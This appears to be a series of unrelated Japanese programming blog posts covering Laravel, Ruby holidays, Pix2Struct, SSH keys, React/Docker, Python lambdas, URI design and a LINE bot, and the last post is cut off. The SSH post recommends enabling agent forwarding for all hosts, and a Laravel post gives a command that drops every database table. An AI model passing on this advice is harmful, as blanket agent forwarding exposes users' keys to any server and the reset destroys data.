        $domain = "your.com";//要変更
        $json = file_get_contents("../public/build/manifest.json");
        $json = mb_convert_encoding($json, 'UTF8', 'ASCII,JIS,UTF-8,EUC-JP,SJIS-WIN');
        $ar = json_decode($json,true);

        $tag = "";
        $js = [
            'modulepreload' => '',
            'module' => ''
        ];

        $css = [
            'preload' => '',
            'stylesheet' => ''
        ];




        foreach ($ar as $key => $v) {
            if(strpos($v['file'],'.css') === false){
                $js['modulepreload'] .= '<link rel="modulepreload" href="https://'.$domain.'/build/'.$v['file'].'" />';
                $js['module'] .= '<script type="module" src="https://'.$domain.'/build/'.$v['file'].'"></script>';
            } else {
                $css['preload'] .= '<link rel="preload" as="style" href="https://'.$domain.'/build/'.$v['file'].'" />';
                $css['stylesheet'] .= '<link rel="stylesheet" href="https://'.$domain.'/build/'.$v['file'].'" />';
            }
        }


        $tag = $css['preload'] . $js['modulepreload'] . $css['stylesheet'] . $js['module'];
        echo $tag;
        ?>

    <? else: ?>
        @vite(['resources/css/app.css', 'resources/js/app.js'])
    <? endif; ?>


</head>
<body>
<div id="app">
    <app-component></app-component>
</div>
</body>
</html>



```
Rubyで日本の祝日を取得（iCalendar方式）

Google Calendarで公開されている日本の祝日のiCal形式のファイルを読み込んで取得する。

## 事前準備

`icalendar` の gem をインストールするか、Gemfileに追加して `bundle install` する。

```ruby
gem install icalendar
```

## 日本の祝日データを取得

```ruby
require 'net/http'
require 'icalendar'
holiday_ical = Net::HTTP.get(URI::parse("https://calendar.google.com/calendar/ical/ja.japanese%23holiday%40group.v.calendar.google.com/public/basic.ics")).force_encoding("UTF-8")
cals = Icalendar.parse(holiday_ical)
events = cals.first.events
```

以下の形で現在日周辺の祝日名と祝日の日付を取得できる。

```ruby
events.map{|e| [e.dtstart, e.summary]}
=> [[Mon, 23 Sep 2024, "秋分の日 振替休日"], [Sun, 22 Sep 2024, "秋分の日"], 
[Sat, 23 Sep 2023, "秋分の日"], [Mon, 15 Jul 2024, "海の日"], 
[Mon, 17 Jul 2023, "海の日"], [Mon, 29 Apr 2024, "昭和の日"],
[Sat, 29 Apr 2023, "昭和の日"], [Wed, 20 Mar 2024, "春分の日"], 
[Tue, 21 Mar 2023, "春分の日"], [Mon, 04 Nov 2024, "文化の日 振替休日"], 
[Sun, 03 Nov 2024, "文化の日"], [Fri, 03 Nov 2023, "文化の日"],
[Thu, 03 Nov 2022, "文化の日"], [Mon, 16 Sep 2024, "敬老の日"], 
[Mon, 18 Sep 2023, "敬老の日"], [Mon, 08 Jan 2024, "成人の日"], 
[Mon, 09 Jan 2023, "成人の日"], [Fri, 03 May 2024, "憲法記念日"], 
[Wed, 03 May 2023, "憲法記念日"], [Mon, 12 Feb 2024, "建国記念の日 振替休日"],
[Sun, 11 Feb 2024, "建国記念の日"], [Sat, 11 Feb 2023, "建国記念の日"],
[Sun, 11 Aug 2024, "山の日"], [Fri, 11 Aug 2023, "山の日"], 
[Fri, 23 Feb 2024, "天皇誕生日"], [Thu, 23 Feb 2023, "天皇誕生日"],
[Sat, 23 Nov 2024, "勤労感謝の日"], [Thu, 23 Nov 2023, "勤労感謝の日"], 
[Wed, 23 Nov 2022, "勤労感謝の日"], [Mon, 01 Jan 2024, "元日"],
[Sun, 01 Jan 2023, "元日"], [Mon, 12 Aug 2024, "休日 山の日"],
[Mon, 02 Jan 2023, "休日 元日"], [Mon, 14 Oct 2024, "スポーツの日"],
[Mon, 09 Oct 2023, "スポーツの日"], [Mon, 10 Oct 2022, "スポーツの日"],
[Sat, 04 May 2024, "みどりの日"], [Thu, 04 May 2023, "みどりの日"], 
[Mon, 06 May 2024, "こどもの日 振替休日"], [Sun, 05 May 2024, "こどもの日"],
[Fri, 05 May 2023, "こどもの日"], [Mon, 19 Sep 2022, "敬老の 日"], 
[Wed, 23 Feb 2022, "天皇誕生日"], [Wed, 04 May 2022, "みどりの日"], 
[Fri, 23 Sep 2022, "秋分の日"], [Fri, 11 Feb 2022, "建国記念の日"], 
[Thu, 11 Aug 2022, "山の日"], [Sat, 01 Jan 2022, "元日"], 
[Thu, 05 May 2022, "こどもの日"], [Fri, 29 Apr 2022, "昭和の日"], 
[Mon, 21 Mar 2022, "春分の日"], [Mon, 10 Jan 2022, "成人の日"],
[Mon, 18 Jul 2022, "海の日"], [Tue, 03 May 2022, "憲法記念日"]]
```
Pix2Struct

# Pix2Struct
この度、自然言語処理に関するR&Dを担当することになった新卒2年目の新米が、私的注目論文を要約していこうと思います。(chatGPTで要約した記事とどっちが分かりやすいかな〜）
## 概要
- 要約：「webページのスクリーンショットからhtmlパース結果を予測する事前学習と、入力の工夫を2つ導入したらViTが高精度に！」
- 注目ポイント
    - web系データに特化した、multimodal系
    - OCR非依存で高性能なimage2textモデル
    - スクリーンショットパースタスクの提案
    - Donut越えのパフォーマンス
    - 2つのViTに関する改善手法
        -  ViTのアスペクト比を保存する手法「可変解像度」
        -  入力画像中にテキストプロンプトを描画する方法
-  課題
    -  長い文章については、高解像度aspect比の画像が必要
    -  画像中のテキスト理解タスクはドメイン特化型が多い（OCRありき、アンドロイドなどの特定プラットフォームありきなどのモデルが多い）

## アーキテクチャ 
- Vision Transformer (ViTとも。image encoder/text encoder)とモデル構造は同じ
- ViTとの違いは入力アスペクト比を保存して学習すること、及び、タスクの設計のみ！
    - オリジナルViTは固定値の比率に画像を縮小する→fine tune時に解像度の違う画像を使うことになるのは不自然だから
    - 入力画像を「受け付けるシーケンス長の定数倍サイズになるように拡大縮小」
    - 入力パッチ画像埋め込みに配置座標を表す2次元データを付加
- データフロー
    - 画像→テキスト（ViT、Donutなどと同じ）

## データセット
- 学習
    - C4 corpus: 80Mの(webページスクショ画像, html構造情報)のペア（非公開）
        - データセットのhtmlのhtmlツリー構造について
            1. 孫ノードは削除
            2. 視覚的に効果のない子ノードも削除
            3. タグ情報とかも（本当は学習に使えそうだけど本研究ではとりあえず）削除
            4. スクショには出力ターゲット部分のDOMtreeを表すhtmlに対応する領域がbounding boxとして画像に追加されてる。さらに部分DOMtree中のテキストをマスクして当てさせるタスクを定義する。
        - BooksCorpus(Zhu2015): Warmup時に使用
            - 事前学習で上のデータセットをいきなり使って学習してもむず過ぎて学習が進行しないので、簡単なデータセットを最初のうちは学習させる。その際に用いるのがこのデータセット。文字を読むだけで良いタスク設計となっている。

## 学習と実行方法
- 学習
    - 事前学習
        - BART同様の学習を行う。50%テキストをマスクし、画像→サブツリー構造へとdecodeする
        - タスクの内訳（以下タスクに対応する損失関数の最適化を行う）
            - マスク領域以外のDOMtreeに対応するhtmlを予測するタスク
            - マスクした画像領域に書いてあるはずのテキストを当てるタスク
            - alt-text属性の値を予測するタスク
                - ←image captioningの文脈でよく使われる手法。画像やテキストが表示されない時に大体テキストとして表示される値。そこにあるべき内容を表現している。
        - hyperparameter
            - 2048 patch size
            - Adafactor
            - lr schedule: linear 10000steps to 0.01 followed by cosine decay to 0
            - 282Mサイズモデルで、
                - 270Kstep, batch size 3072, 64 GCP TPU
            - 1.3Bサイズモデルで
                - 170step, batch size 1024, 128 GCP TPU
        - Warmup学習
            - いきなり上の学習をしても学習はうまくいってくれない難しさなので、学習の序盤では簡単なデータセットで学習を行う
            - 「白背景でただテキストが並んでいるだけの画像を生成し、テキストを当てさせるだけの学習」
            - 30Ksteps, 128patchサイズ
    - fine tuning
        - 各モデルごとのhyperparameters
            - base ：4096patch長、5kstep, batch(32,128,256)のいずれ
            - large：3072patch長、10kstep, batch(32,128,256)のいずれ
       - multimodal 対応
           - 入力が（疑問文＋画像）の時は疑問文をhtmlのheader部分に入れて表示した画像を入力とする→結局入力は画像だけ！別入力チャンネルとしてtext inputを利用するわけではない
           - 選択肢タイプの問題もheaderに選択肢テキストを追加した画像を入力とすることで対応可能
   - リソース
       - GCP TPUを 64台(base)、128台(large)
   - 学習時間
       - 記載なし

## コード
- github
    - 公開なし

##　評価
- 4ジャンルのタスクで評価、どれもSotaのDonutモデルを凌駕する性能
    - illustration
        - テーブルデータなどのQA
        - 化学関連の図に関するQA
        - 本のカバーからメタデータを当てる
    - UIs
        - テキストの指示内容・アプリのスクショ・コンポーネントのセットからテキストの参照するコンポーネントがどれかを当てる。アプリのスクショないのbounding boxがどのコンポーネントかを説明する。アプリのスクショからページの機能を当てる。
    - Natural Images
        - TextCaptioning。OCRソフトを利用したpipelineモデルには精度及ばないものの健闘
    - Documents
        - DocVQA。LayoutLMv3には勝てず。
    - 総評：善タスクでDonutは超えてる。
- ablation
    - 全要素大事だけど、「スクショパースタスク」が一番学習精度に貢献している模様
WinwordとMendeley連携からの乗り換え先

# マイクロソフトWordで文書作成

マイクロソフトWord（以下WinWord）で文書を作成するって人は多い。文献リストがちゃんと作れないときってイライラしますよね。参入障壁が、高すぎるというかツラミしかないんです。高頻度で「うまくいかない」って嘆きを耳にします。ここではその理由を探っていきます？

# Mendeleyからのりかえる

Mendeleyのアップデートが終了して、ワードの最新バージョンとの互換性がない。デスクトップアプリもいずれつかえなくなるらしい。

[これ](http://www.ortho.m.chiba-u.jp/research_tips/4754)？

# 初心に立ち返ろう！

Winwordに備わってる文献参照機能をつかう。Wordに備わってる文献参照機能ってのがあるので、そこに戻す？

# 日本語Winwordだとバグがある

IEEEのスタイルにバグがある。検索するのに苦労したし、ちょっと探すので時間をください。

# pandocは別記事に

Pandocは別にしたい。以下のブログ参考になるだろう

1. https://qiita.com/tenomoto/items/d0e04e19ee6437a04b0d
Laravel でabort()の使い方

# この記事の背景
ユーザーの編集機能を作っていた時のことです。
コントローラーを作成した時に、もしログインしていなかったら
エラーではなく、アクセスできない画面を出すように指示がありました。
この時に使いました。この時に```abort()```のことを知りました。

# abort()とは
ユーザーのリクエストが違っていた時に、真っ白なページではなく「Not found」のようなエラーページになると親切です。こういう時に必要です。

# 実際のユースケース

```UsersController.php
public function edit($id)
    {
       #都合により省略
            $data = [
                'user' => $user
            ];
            return view('users.edit', $data);
        }
        abort(404);
    }
```
ログインしていないユーザーが編集できないようにします。
今回のケースだと```404(認証できないので見せられません)```となります。
ログインしたユーザーではないからですね。


# abort404
Laravelのコントローラでabort(404)のヘルパーを書くと予期しないエラーが発生した時に、
Not Foundページの代わりにリダイレクトして違うページに飛ばしたいとき、
```redirect()```のヘルパーを***abort()と同じように好きな場所で使えない***みたいです。

redirect()は、以下のようにreturnが必要です。
```
class ProductController extends Controller
{
    public function show(Product $product)
    {
        if ($product->active_flag == 'N') { // 無効な商品なら、
            return redirect('home'); // ホームページにリダイレクト
        }
 
        return view('user.product.show')->with(compact('product')); // 商品のページを表示
    }
}
```
>　引用　　https://www.larajapan.com/2020/07/25/abort%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%83%AA%E3%83%80%E3%82%A4%E3%83%AC%E3%82%AF%E3%83%88/


# ステータスコード種類
この記事を参考にしてみてください。

https://qiita.com/Hashimoto-Noriaki/items/2f0db583fd9a4309e9fd


# 資料

https://qiita.com/yusuke___web/items/cd88a8d18959db1c9eb8

https://www.larajapan.com/2020/07/25/abort%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%83%AA%E3%83%80%E3%82%A4%E3%83%AC%E3%82%AF%E3%83%88/
sshキー接続が繋がらない時の対処法


### 準備
sshキーを作成します。
sshキーを作成したら次にconfigファイルを作成します。
```
$ touch ~/.ssh/config
```
`ls ~/.ssh/`でconfigファイルが表示されればOKです。


### ssh add
configファイルを作成したら、
```
$ ssh-add　-l
>2048 SHA256:ZUc........ /Users/username/.ssh/id_rsa (RSA)
```
この表示になればOKです。もし、

```
$ ssh-add　-l
>The agent has no identities.
```
このような表示がされた場合は、
```
$ ssh-add
```
をして、パスワードを聞かれたらパスワードを入力する。
そうすると、
```
2048 SHA256:ZUc......... /Users/username/.ssh/id_rsa (RSA)
```
このように表示されたら成功です。

### configファイルを編集

最後に、
```
$ vim ~/.ssh/config
```
上記でconfigファイルの中を見て、
```
Host *
  ForwardAgent yes
```
を追加すると接続完了です。
Mulesoft クラスローディングの分離

# そもそもクラスローディングとは

クラスローディングというのは、クラスをメモリーに読み込むことです。

例えば、レシピの本を使って料理を作ることを考えてみたら、クラスローディングは、レシピの本の必要なページを探し出して、開いておくことです。

レシピを開いた状態で、具体的な材料や手順を参照して、料理ができるようになるわけです。

# Mulesoftクラスローディングの分離

## クラスローディングの分離の目的
Mule app,外部コネクター、ライブラリの中に、バージョンのコンフリクトや競合の問題を解決する。

## クラスローディング分離メカニズム
- Muleプロジェクトは、jarファイルとして外部に提供する。

- Muleランタイム、Muleアプリケーション、Muleモジュールのクラスがjarファイルに含まれる

- Mule 4 のクラスローディングは、ランタイム、アプリケーション、モジュールのクラスを同時にローディングするではなく、互いに分離して、ローディングを行う。

## 考慮事項

- エクスポートされていないリソースとクラスは他のアーティファクトから参照できない。

- アーティファクトから最小限必要なパッケージとリソースのセットを公開する。

- 必要でない限り、サードパーティのライブラリはエクスポートしない。

- Guava、Apache common-collections などのサードパーティの共通ライブラリは絶対公開しない。公開すると、他のアーティファクトと競合します。

- 理想的には、アーティファクト (または JDK) のクラスのみを公開する。

## 例

次の拡張ファイル構造を考えてみます。

    com/example/extension/api/MyClass.class
    com/example/extension/internal/Util.class
    transformations/customer-to-user.dwl
    license.txt
    META-INF/mule-artifact/mule-artifact.json

また、この拡張には次の ​mule-artifact.json​ 記述子ファイルがあります。

    {
        "name": "my-test-extension",
        "minMuleVersion": "4.0.0",
        "classLoaderModelLoaderDescriptor": {
            "id": "mule",
            "attributes": {
                "exportedResources": [
                    "transformations/customer-to-user.dwl"
                ],
                "exportedPackages": [
                    "com/example/extension/api"
                ]
            }
        }
    }


次の図は ​mule-artifact.json​ によってエクスポートされたリソースがアプリケーション内に適用される方法を示しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3343120/481a969f-1ff7-5a28-bcae-a98816d09ab5.png)

参照：
[Mulesoftドキュメント クラスローディングの分離](https://docs.mulesoft.com/jp/mule-runtime/4.4/about-classloading-isolation#%E3%82%AF%E3%83%A9%E3%82%B9%E3%83%AD%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E5%88%86%E9%9B%A2%E3%83%A1%E3%82%AB%E3%83%8B%E3%82%BA%E3%83%A0
)
【環境構築】DockerでReactをnpmを使用して作成&起動する方法（TypeScript編）

## 背景
- [【環境構築】Reactのプロジェクト作成&起動方法について 〜npm・yarn & JavaScript・TypeScript〜](https://qiita.com/takuma-1234/items/ce8c815ae05678f5a403)で、`React`には複数のプロジェクトの起動＆作成方法があることをご紹介しました。
- この記事は、「1.2.`npm`で`TypeScript`を使用して`React`プロジェクトを作成する方法」の解説記事になります。

## 目標
- `npm`で`TypeScript`を使用して`React`プロジェクトを作成できるようになる。

## `npm`で`TypeScript`を使用して`React`プロジェクトを作成する方法
- [docker-react-npm-typescript](https://github.com/takuma-competition/docker-react-npm-typescript)を`clone`し、起動に必要な`dockerfile`をローカルに準備します。

https://github.com/takuma-competition/docker-react-npm-typescript

- `Dockerfile`の中身は以下のようになっており、`node`をベースイメージとして使用しています。
```dockerfile:Dockerfile
#nodeの19.4.0をベースに使用する
FROM node:19.4.0
```
- 以下のコマンドで`docker`を起動します。
```bash:docker起動コマンド
$docker-compose up -d --build
```
- `vscode`でコンテナ内部に入ります。`vscode`でコンテナ内部に入る方法は[【環境構築】Docker container内部にVS Codeで入って作業する方法](https://qiita.com/takuma-1234/items/822823ce151340945975)を参照ください。
- `vscode`でターミナルを起動し、作業用に`docker-compose.yml`でマウント時に作成された作業用のディレクトリに移動します。
```bash:作業用ディレクトリに移動
$cd ../react_npm_typescript_workdir/
```
- `npx(node package executer)`の`create-react-app`ツールを使用して、`react`のアプリの雛形を作成します。
- `TypeScript`で`react`アプリの雛形を作成するには`npx create-react-app [ディレクトリ名] --template typescript`とディレクトリ名の後に`--template typescript`というオプションを追加します。
- `create-react-app`の後ろにくる文字列が作成されるディレクトリ名になります。（ここでは、`react_npm_typescript`というディレクトリが作成されることになります。）
```bash:reactアプリの雛形の作成
$npx create-react-app react_npm_typescript --template typescript
```
- `react`のアプリを`install`するかを聞かれるので`y`を入力して`Enter`を押します。
```bash:
Need to install the following packages:
  create-react-app@5.0.1
Ok to proceed? (y) 
```
- 作成されたディレクトリに移動します。
```bash:作成されたディレクトリに移動
$cd react_npm_typescript/
```
- `react`を起動します。
```bash:react_start
$npm start
```
- 起動が成功すればご自身のPCで設定されているデフォルトのブラウザで`react`が起動されます。

## 参考資料
https://docs.docker.jp/v1.12/compose/reference/overview.html

https://qiita.com/keitean/items/d83254090405aa714b15

https://magazine.techacademy.jp/magazine/16393

https://newsite-make.com/node-npx-npx-yarn/


## 個人ブログ
https://takuma-tech.com/2023/04/25/580/
LaravelでTrying to get property 'name' of non-object (View: /var/www/html/laravelapp/resources/views/post/post.blade.php)のエラーが出た時の対処法

# エラーの背景
共同開発をしている時に以下のようなエラーが出ました。

![スクリーンショット 2023-04-25 11.04.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1748789/22b5909b-c33d-15c5-5bfe-6f087be1fdff.png)

自分の環境だけこのエラーが発生して他のメンバーはエラーが出ていませんでした。
原因がわからなすぎて2,3日詰まってしまいました。その間に他のタスクを進めることができましたが、
かなり苦戦しました。

# 原因と解決方法
***原因は自分がユーザー退会機能を作っていた時、ユーザーが投稿したものを退会と同時に削除する機能がなかったことが原因***だったみたいです。

まず解決した方法は以下のコマンドです。一旦エラーは治りました。
```
php artisan migrate:fresh --seed
```
 DB内のすべてのテーブルを削除し、新しいテーブルを作成して、マイグレーションファイルで定義された
すべてのテーブルとカラムを作成し、データベースにテストデータを挿入するためのSeederファイルを実行するコマンドです。つまり、```データベースの完全な再構築と初期化を行うためのコマンド```です。
より不整合を減らしながらデータ投入をできますが、```全テーブルdropするので、気をつけてください```。

そして***ユーザー退会機能のユーザーが退会と同時に投稿も削除する機能を実装したら解決***しました。

```User.php
protected $dates = [
        'deleted_at'
    ];

    public function posts()
    {
        return $this->hasMany(Posts::class);
    }

    public static function boot()
    {
        parent::boot();

        static::deleting(function ($user) {
            $user->posts()->delete();
        });
    }
```

# 根本的な解決
このエラーが出た時はユーザーの退会機能を実装していた時でした。
ユーザーが何か投稿した時に同時に投稿した内容も削除される機能でしたが、
投稿したものも削除されていなかったのが原因みたいでした。

```app/User.php
    protected $dates = [
        'deleted_at'
    ];

#省略

    public static function boot()
    {
        parent::boot();

        static::deleting(function ($user) {
            $user->posts()->delete();
        });
    }

```
これを実装したら解決しました。
***個人によって環境は違うので参考までに！***

# 資料

https://qiita.com/esu_eichi/items/0cf9dba2c694c8a6b099
windows11 で node.js を複数バージョン使うnvm

# nvm とは？

複数のnode.js、npmを簡単に切り替えることができる

# インスコ

https://github.com/coreybutler/nvm-windows/releases

にアクセスして、`nvm-setup.exe`をダウンロード、インスコ。

# powershellを開く

```
// インスコ可能な node.js 一覧を表示
nvm list available

//LTSが安定版なので、それをインスコするのがおすすめ
nvm install 18.16.0

//インスコ完了したら use を使って切り替え
nvm use 18.16.0

// バージョン確認
node -v
v18.16.0
npm -version
9.5.1

```

node.js のバージョンに応じて、npmも自動で変わる。
HHKBを接続したときだけ、MacBookの内蔵キーボードを無効化

## 設定方法

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/987057/f7c68116-137a-9720-bc74-71b720890889.png)

最近、HHKBのTypeS無刻印モデルを購入しました。
MacBookの内蔵キーボードの上に外付けキーボードを置きたかったのですが、下のキーを押してしまい問題がありました。

本記事では、外付けキーボードが接続されているときだけ内蔵キーボードを無効化する方法を、Karabinerというソフトを用いて紹介します。

> Karabinerは、Macbookのキーマッピングを自由にカスタマイズできる素晴らしいソフトです。例えば、日本語配列のキーボードをUS配列に変更したり、VimでESCを押したときにIMEをオフにするなどの機能があります。


以下の手順で設定が可能です。

1. Karabinerを開く
2. 左のメニューから"Devices"を開く
3. 対象のHHKBの項目にある"Disable the built-in kevboard while this device is connected"をONにする

![スクリーンショット 2023-04-25 10.46.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/987057/92a0a055-b720-e9ae-5afd-288b3958ec54.png)
PythonのLambda式：簡潔さと便利さを手に入れよう

# はじめに

ワンライナーで関数を簡潔に書くことができ、可読性の向上に寄与できる Lambda 式が私は好きです。
この記事では、Python での Lambda 式の使い方や注意点をまとめてみました。

# Lambda 式の概要

Python の Lambda 式は、無名関数（名前を持たない関数）を簡単に作成するためのシンタックスです。Lambda 式は一般的な関数定義に比べて短く、簡潔なに記述できるため、コードの可読性が向上し、短い関数を定義する際に非常に便利です。ただし、複雑な関数を作成する場合には適していません。

# Lambda 式の基本構文

以下は、簡単な Lambda 式の例です。
この例では、2 つの数値を引数に取り、それらの和を返す Lambda 式を定義しています。  
Lambda 引数:処理内容　というような書き方をします。

```python
add = lambda x, y: x + y
print(add(3, 4))  # 7
```

上記は引数を受け取る例ですが、もちろん引数なしも可能です。

```python
say_hello = lambda: "Hello lambda"
print(say_hello())  # Hello lambda
```

# Lambda 式の一般的な使用例

先ほどの例は、基本構文するための例でした。
次に具体的な使用例を紹介します。

### リストや辞書のソートにおけるキー関数としての使用

たとえば sorted 関数の引数として Lambda 式を使うことができます。
sorted 関数は、イテラブルオブジェクト（リスト、タプル、セット、辞書など）をソートして、新しいリストを返す関数です。
以下は基本構文です。

```python
sorted(iterable,  key=None, reverse=False)
```

sorted 関数はキーワード引数：key にソート対象の要素を比較するためのキーを返す関数を指定します。  
ここに Lambda 式を使用できます。  
実際に Lambda 式を使用しない場合とする場合で見比べてみます。  
以下の例は,各要素の数値を大きい順に並べた処理です。

```python
#Lambda式を使用しない場合(関数で記述した場合)
def get_student_score(student):
    return student[1]

students = [("Alice", 90), ("Bob", 85), ("Charlie", 92)]
sorted_students = sorted(students, key=get_student_score, reverse=True)
print(sorted_students) #[('Charlie', 92), ('Alice', 90), ('Bob', 85)]
```

```python
#Lambda式を使用した場合
students = [("Alice", 90), ("Bob", 85), ("Charlie", 92)]
sorted_students = sorted(students, key=lambdax: x[1], reverse=True)
print(sorted_students) #[('Charlie', 92), ('Alice', 90), ('Bob', 85)]
```

関数を定義しなくていいのでスッキリかけました。

### 高階関数への適用

Lambda 式は、高階関数（他の関数を引数に取る関数）に渡すことができます。  
以下は、map、filter、および reduce 関数に Lambda 式を適用する例です。

```python
numbers = [1, 2, 3, 4, 5]

# map関数
squares = list(map(lambda x: x**2, numbers))
print(squares)  # [1, 4, 9, 16, 25]

# filter関数
even_numbers = list(filter(lambda x: x % 2 == 0, numbers))
print(even_numbers)  # [2, 4]

# reduce関数
from functools import reduce
product = reduce(lambda x, y: x * y, numbers)
print(product)  # 120
```

# Lambda 式を使用する上での注意点

Lambda 式は簡潔に記述でき可読性の向上に寄与できますが、Lambda 式で書けるなら全て Lambda 式で書けばいいというわけではありません。  
以下に Lambda 式を使用する上の注意点をまとめます。

### 1 行での記述が必要

Lambda 式は、一行で記述しなければならないため、複雑な処理には向いていません。複雑な処理を必要とする場合は、通常の関数定義を使用したほうが良いです。

### 複雑な処理には向かない

前述の通り、Lambda 式は 1 行での記述が必要であるため、複雑な処理には向いていません。条件分岐やループ処理など、複数行で記述が必要な処理は通常の関数定義を使用したほうが良いです。

### 可読性の低下のリスク

Lambda 式は短縮された構文を使用しているため、過度に使用するとコードの可読性が低下することがあります。使用する際はコメントを添えて可読性の維持も心がけるべきです。

# まとめ

Lambda 式の使用方法、注意点をまとめてみました。
便利ですが使いすぎはよくありません。
良い塩梅で使えるようになりたいですね。
読書研修　WEBを支える技術　第５章URIの設計

## クールなURIは変わらない……	
cool URIはWebの発明者が発表した「cool URIs don't change」というWebページが発祥です。
## URIを変わりにくくするために
#### URIの設計指針
* URI にプログラミング言語依存の拡張子を利用しない(.pl、.rb、.do、.jspなど)
* URI に実装依存のパス名を利用しない(cgi-bin、servletなど)
* URI にプログラミング言語のメソッド名を利用しない(.do?action=showPageなど)
* URIにセッションIDを含めない(jsessionidなど)
* URIはそのリソ-スを表現する名詞である
ユーザに見せるURIと内部的に利用するURIを分ける必要ある

* 例：``` http://example.jp/login ```
## URIのユーザビリティ
#### シンプルなURI（クールなURI）利点：
１．変わりにくい
２．ユーザビリティが高まる（普通の人にも覚えやすい、使いやすい）

## URIを変更したいとき	
ハードウェアの老朽化、システム全体の機能変更・追加などで<strong>システムを入れ替えなければならない場合</strong>：できる限りリダイレクト（Redirect)するようにする。

#### リダイレクト（Redirect)
古いURIを新しいURIに転送するHTTPの仕組みのことです。

リダイレクトを実現する仕組みはHTTPサーバが用意しています。

## URI設計のテクニック
### 拡張子で表現を指定する
<dt>拡張子の良い面として、<strong>リソースの表現を特定する拡張子</strong>の使い方：</dt>
<dt>コンテントネゴシエーション</dt>
<dd>HTTPにはコンテントネゴシエーション（Content Negotiation）という便利な機能があり、日本語版のOSを使っているユーザには日本語を、英語版のOSを使っているユーザには英語を返せる</dd>

>``` GET/2010/05/01/press HTTP/1.1 ```
``` Host:example.jp ```
``` Accept-Language:ja,en_us;q=0.7,q=0.3 ```
``` http://example.jp/login ```

<dd>Accept-Languageヘッダ:くらいが要望する言語を指定する。
q=0.7,q=0.3 は優先順位です</dd>
<br>

<dt>言語を指定する拡張子</dt>	
<dd>コンテントネゴシエーションの場合日本語OSの利用者は英語版プレスリリースを取得するためにブラウザの設定をわざわざ変更しなければならない。<br>
そのため,リソースの言語を明示的に指定して、<br><br>

``` http://example.jp/2010/05/01/press.jp  ``` プレスリリース日本語版
``` http://example.jp/2010/05/01/press.en  ```プレスリリース英語版

などのURIを使う。
<strong>言語だけではなく、フォーマットも含まれ、「.html」[.txt]などの拡張子をつけて個々表現を分けてもいい</strong>
</dd>	

### マトリクスURI
* URIはスラッシュ(/)を使って階層を表現できる。
例：``` http://example.jp/diary/2010/05/01```
* 複数次元た持つ情報、たとえば地図などは階層で表現できない場合、
複数パラメータの組み合わせで表現するリソ-スには<strong>マトリクスURI(Matrix URI)</strong>を使う。複数の軸のパラメータをそれぞれ<strong>セミコロン(;)</strong>で区切ってリソースを表現します。
* セミコロンはパラメータの順序が意味を持たない場合に、<strong>カンマはパラメータの順序が意味を持つ場合</strong>に使います。

## URIの不透明性	
URIをクライアント側で組み立てたり、拡張子からリソースの内容を推測したりできないことを、<strong>「クライアントにとって不透明(Opaque)である」</strong>と言う。

シンプルなURIは可読性が高いため、ユーザがURIの構造を推測しやすくなる。
>``` http://example.jp/2010/05/01/press.jp  ``` プレスリリース日本語版
``` http://example.jp/2010/05/01/press.en  ```プレスリリース英語版

から、他の言語のリリースのURI推測できる。プレスリリース(フランス語版)　``` http://example.jp/2010/05/01/press.fr ```など、しかしこのURIにアクセスしても、リソースがあるとは限りません。
 Webにおけるリソース操作は、HTMLなどのリソース中に出現するリンクをたどって行います。つまりクライアントは、URIの内部構造を想像して操作したりクライアント側でURIを構築したりしてはいけません。

クライアントを作る際は、URIが不透明であることな心がけなければいけません。

## URIを強く意識する
* URIはリソースの名前である
* URIは寿命が長い
* URIはプラウザがアドレス欄に表示する
vbsの作法 その63

# 概要
vbsの作法、調べてみた。
練習問題、やってみた。

# 練習問題
Windows11でInternet Explorer11を起動して、google検索ボタンを押せ。

# サンプルコード

```
Dim objIE
Set objIE = CreateObject("InternetExplorer.Application")
objIE.Visible = True 
call objIE.Navigate("https://www.google.com/")
Do While objIE.Busy = True Or objIE.readyState <> 4
	WScript.Sleep 100
Loop
Dim doc
Set doc = objIE.Document
Dim txt
Set txt = doc.getElementsByName("q")
txt.item(0).value = "デ・トマソ"
Dim btn
Set btn = doc.getElementsByName("btnG")
btn.item(0).click()
Do While objIE.Busy = True Or objIE.readyState <> 4
	WScript.Sleep 100
Loop
Set objIE = Nothing




```

以上。
今日飲むビールはこれで決まり

# 目的
この世には様々なビールがあります。
ですが私たちはその何割を知っているでしょうか
わざわざ世界のビールを調べることはめんどくさいのでbotに解決してもらいましょう

# どんなbot？
LINEアカウントのリッチメニューをクリックするとPUNK API から本日のビールが返ってきます

# 利用環境
- Node-RED
- Messaging API
- ChatGPT API
- PUNK API


# デモ

![unnamed.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3321410/1fe6e87d-c47f-a008-da1a-8c4f0bf77377.gif)

# フローとJSON

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3321410/92d5d7f4-209d-6a04-9582-d777fdd5c6cd.png)

1. webhookでメッセージを検知する
2. PUNK APIをたたく
3. name要素と説明要素を切り出す
4. Chat GPTに翻訳してもらう
5. ユーザーにリプライする

```json
[{"id":"341cfe5a48657740","type":"tab","label":"フロー 4","disabled":false,"info":"","env":[]},{"id":"8ba8725f67caf07a","type":"Webhook","z":"341cfe5a48657740","name":"","url":"/webhook","x":140,"y":140,"wires":[["2330db1bcc605b53"]]},{"id":"ca76445e09ae1403","type":"ReplyMessage","z":"341cfe5a48657740","name":"reply","replyMessage":"","credentials":{"channelSecret":"test","channelAccessToken":"test"},"x":930,"y":140,"wires":[]},{"id":"2330db1bcc605b53","type":"http request","z":"341cfe5a48657740","name":"","method":"GET","ret":"obj","paytoqs":"ignore","url":"https://api.punkapi.com/v2/beers/random","tls":"","persist":false,"proxy":"","insecureHTTPParser":false,"authType":"","senderr":false,"headers":[],"x":350,"y":140,"wires":[["dff7966b2710be64"]]},{"id":"dff7966b2710be64","type":"function","z":"341cfe5a48657740","name":"function 3","func":"msg.payload = \"[\" + msg.payload[0].name + \"]\" +  \":\" + msg.payload[0].description;\nreturn 